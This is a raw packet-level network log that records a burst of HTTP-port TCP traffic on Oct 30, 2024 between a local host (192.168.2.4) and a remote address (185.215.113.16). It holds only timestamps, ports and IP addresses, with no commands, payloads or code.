Oct 30, 2024 12:36:51.714544058 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.714649916 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.714658976 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.714668036 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.714684963 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.714696884 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.714701891 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.714713097 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.714718103 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.714724064 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.714740992 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.714746952 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.714751005 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.714761972 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.714773893 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.714780092 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.714786053 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.714790106 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.714798927 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.714811087 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.714816093 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.714822054 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.714832067 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.714843035 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.714847088 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.714854002 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.714864969 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.714870930 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.714881897 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.714891911 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.714900970 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.714904070 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.714914083 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.714926958 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.714931011 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.714941025 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.714970112 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.715064049 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.715080023 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.715090990 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.715101957 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.715111971 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.715116024 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.715122938 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.715133905 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.715133905 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.715145111 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.715159893 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.715167046 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.715171099 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.715178967 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.715189934 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.715198040 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.715199947 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.715209961 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.715220928 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.715231895 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.715238094 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.715243101 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.715243101 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.715257883 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.715265989 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.715270042 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.715279102 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.715290070 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.715300083 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.715303898 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.715332985 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.715332985 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.715362072 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.715373993 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.715384007 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.715394974 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.715406895 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.715419054 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.715426922 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.715436935 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.715437889 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.715449095 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.715456963 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.715490103 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.715500116 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.715511084 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.715522051 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.715532064 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.715536118 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.715542078 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.715553045 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.715558052 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.715564966 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.715586901 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.715599060 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.715689898 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.715702057 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.715713024 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.715739012 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.715753078 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.715815067 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.715831995 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.715842962 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.715852976 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.715863943 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.715873957 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.715874910 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.715886116 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.715894938 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.715898037 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.715909958 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.715938091 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.715939999 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.715949059 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.715959072 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.715967894 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.715970039 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.715981007 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.715998888 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.716028929 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.717119932 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.717138052 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.717149019 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.717163086 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.717175007 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.717187881 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.717191935 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.717199087 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.717211008 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.717235088 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.717235088 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.717242956 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.717327118 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.717339039 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.717349052 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.717359066 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.717370987 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.717381001 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.717382908 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.717402935 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.717427015 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.717452049 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.717463017 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.717473030 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.717483997 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.717490911 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.717494965 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.717505932 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.717516899 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.717518091 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.717530966 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.717551947 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.717556953 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.717564106 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.717573881 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.717593908 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.717612982 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.717662096 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.717673063 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.717683077 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.717704058 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.717724085 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.717730999 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.717747927 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.717760086 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.717768908 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.717771053 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.717781067 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.717803001 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.717833042 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.717844009 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.717854977 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.717866898 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.717870951 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.717879057 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.717897892 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.717921019 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.717981100 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.717992067 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.718002081 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.718012094 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.718024015 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.718031883 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.718034029 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.718044996 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.718056917 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.718061924 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.718067884 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.718075991 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.718080044 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.718092918 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.718127966 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.718135118 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.718144894 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.718154907 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.718166113 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.718170881 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.718184948 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.718204975 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.718211889 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.718216896 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.718228102 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.718238115 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.718239069 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.718250990 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.718277931 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.718312979 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.718324900 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.718334913 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.718346119 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.718355894 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.718357086 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.718368053 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.718370914 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.718378067 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.718396902 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.718421936 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.718422890 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.718436003 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.718447924 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.718458891 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.718463898 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.718470097 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.718477011 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.718487978 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.718497038 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.718523026 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.718548059 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.718558073 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.718569040 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.718580008 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.718589067 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.718591928 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.718605995 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.718609095 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.718621016 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.718624115 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.718631029 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.718653917 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.718662977 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.718672991 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.718684912 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.718710899 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.718822956 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.718835115 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.718844891 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.718856096 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.718868971 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.718873978 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.718879938 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.718892097 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.718892097 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.718904018 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.718904018 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.718918085 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.718930960 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.718935013 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.718957901 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.718957901 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.718970060 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.718976974 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.718980074 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.718991041 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.719001055 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.719003916 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.719012022 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.719022036 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.719032049 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.719033003 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.719043970 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.719054937 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.719057083 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.719067097 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.719074011 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.719079971 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.719093084 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.719103098 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.719110966 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.719121933 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.719131947 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.719134092 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.719145060 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.719152927 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.719157934 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.719171047 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.719178915 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.719197989 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.719208956 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.719221115 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.719222069 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.719233036 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.719253063 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.719270945 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.719274044 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.719285965 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.719295979 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.719310999 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.719336987 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.719346046 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.719357967 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.719369888 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.719379902 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.719382048 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.719407082 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.719439030 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.719485044 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.719502926 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.719513893 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.719525099 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.719536066 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.719540119 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.719547033 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.719561100 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.719568014 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.719585896 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.719595909 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.719880104 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.719896078 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.719906092 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.719918013 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.719928980 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.719933033 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.719948053 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.719950914 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.719961882 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.719971895 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.719980001 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.720010042 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.720083952 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.720094919 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.720104933 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.720129013 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.720150948 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.720163107 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.720174074 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.720182896 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.720196009 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.720206022 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.720228910 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.720237017 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.720246077 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.720262051 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.720273018 CET	80	49747	185.215.113.16	192.168.2.4
